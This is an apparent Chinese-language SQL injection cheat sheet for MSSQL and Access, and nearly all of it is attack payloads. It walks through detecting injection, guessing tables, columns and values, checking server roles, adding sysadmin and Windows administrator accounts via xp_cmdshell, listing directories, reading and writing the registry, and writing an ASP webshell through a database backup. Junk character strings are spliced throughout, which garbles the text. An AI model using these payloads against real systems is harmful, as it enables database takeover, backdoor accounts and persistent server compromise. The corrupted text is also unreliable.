1.判断是否有注入;and 1=1 ;and 1=2 w 7=Y_
2.初步判断是否是mssql ;and user>0 0W]Wu[k
"&L<u0KHG
3.注入参数是字符'and [查询条件] and ''=' !;fkc0&!
"L{;=-e
4.搜索时没过滤参数的'and [查询条件] and '%25'=' @c7 On)sy
T<p>:$vo
5.判断数据库系统 Zf(ucAhL
Ig5J_Z^]b
;and (select count(*) from sysobjects)>0 mssql D2?~03c
f+L )x
;and (select count(*) from msysobjects)>0 access #4d0/28b
ab3" ?.3m
ScM2_k`D
}$g5:k!
6.猜数据库 ;and (select Count(*) from [数据库名])>0 % J+'7'g
M#
S:'WN
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 LH<--#K
c#Ux{^ZE
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 =EV8~hMyqh
I9tdr<
9.(1)猜字段的ascii值(access) qYbod+UX
^#gGA_H
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 \n+`~< i
B>9D@fmzs
(2)猜字段的ascii值(mssql) bjD0y
cB[
Xo]FOJ5
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 d{9jd{
_#G
6,cyi|s
10.测试权限结构(mssql) w3,QT}W vY
PksHq77
lc[\S4
QN*'MA"M
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- tJ'U<s
.@ 1\26<
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- )c+ZQq
dR $@vDm
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- {Ivu"<`L3
~EX/IIa{
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- B4U+q|OD#
!aIIjWz]
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2BRY2EF
V{c
n1Af
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- eQzSWn[
JX>_imo
;and 1=(select IS_MEMBER('db_owner'));-- _gw~A{O
_(oJ8h(
kdgQ -UN$
3#5sj >
11.添加mssql和系统的帐户 =Z%&jul
K<\TF+
;exec master.dbo.sp_addlogin username;-- >f}rM20Vm
;exec master.dbo.sp_password null,username,password;-- cAIS?]1
W 4 )^8/
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- O:k@'&
]6}|X#_
;exec master.dbo.xp_cmdshell 'net user username password F<G.!Y8!&
z[CCgs&vqe
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- `[CXxp
/UM9g+Bb
;exec master.dbo.xp_cmdshell 'net user username password /add';-- W}JJaZR*X
njvmf*A?S
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 'B6D&xn'%&
O+z-6:`
+F4xCz7f
d]w*fn
12.(1)遍历目录 m!!uf/
[.|tD
;create table dirs(paths varchar(100), id int) a-8~f8na{(
]Alu~ Dw
;insert dirs exec master.dbo.xp_dirtree 'c:\' #Wh"_zpM+
gp(w6:w
;and (select top 1 paths from dirs)>0 S(/@.gI:f
*|hICTWL
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) \XmtSfFC
d4A}BTs1
6t*=.b,N
8fZ\})t
(2)遍历目录 qdO^)uJJ
%qN8uQx
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- EMJio\
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 1 5rE|m^
.KK"KO5k
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 :t9(T?2
H6e^"E
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Q/0;r{@Tq}
)3z.{.F
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
31J7# S2
IKAF%0[R|j
cUS2*7h
`(Ei-$
>U&
13.mssql中的存储过程 ilpg()
N[zI@>x
xp_regenumvalues 注册表根键, 子键 42Ql^ka
$mp7IZE|
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Lf7iOW9U3
*/?L_\7
xp_regread 根键,子键,键值名 x{RTI#a.
$"x(:
;exec xp_regread 4!iS"QH?;^
i~k?k.t8
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 qdUlT*fw
F'|,(P
xp_regwrite 根键,子键, 值名, 值类型, 值 ^3AJYu
x"_f$,:!
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 |
M-@Qvgh
/`2VJw
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 %xWmzdn
.{)b^gE
xp_regdeletevalue 根键,子键,值名 Z&J417buk
~5]AXi'e~
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ZL~}B.nqS
d|DIqT~{W
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ZYu^Q6b3
0~BQ8O=+mn
zB 7wGl9
:tR%y"
14.mssql的backup创建webshell /sJk[5!z
Cg )#B+
use model %l3RM*zb
?mgr#UN
create table cmd(str image); kZF\V7k
{TUCa
insert into cmd(str) values (''); {`l]RIig
IcaIB)
backup database model to disk='c:\l.asp'; f{^n<\Jh
(|O;Ci
mX,#|qLf
v-OGY[|97
15.mssql内置函数 5p"*nkF
0nhsjN}v
;and (select @@version)>0 获得Windows的版本号 -YSn 3=
+$8hTi,
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 5nf|CQH6?
0@3g'TGl
;and (select user_name())>0 爆当前系统的连接用户 -c|O!Lc-
@{t^8I#]
;and (select db_name())>0 得到当前连接的数据库 @RT yCr
r]8tl
|(y6O5Y.
Rra(/j<rQ
16.简洁的webshell nb?bx{M
4+l7v?:Pr
use model 1~Pht:,t
REFisH-
create table cmd(str image); ls#O0
'[Nu;(>a
insert into cmd(str) values (''); .%~
L
dbnH#0i
backup database model to disk='g:\wwwtest\l.asp';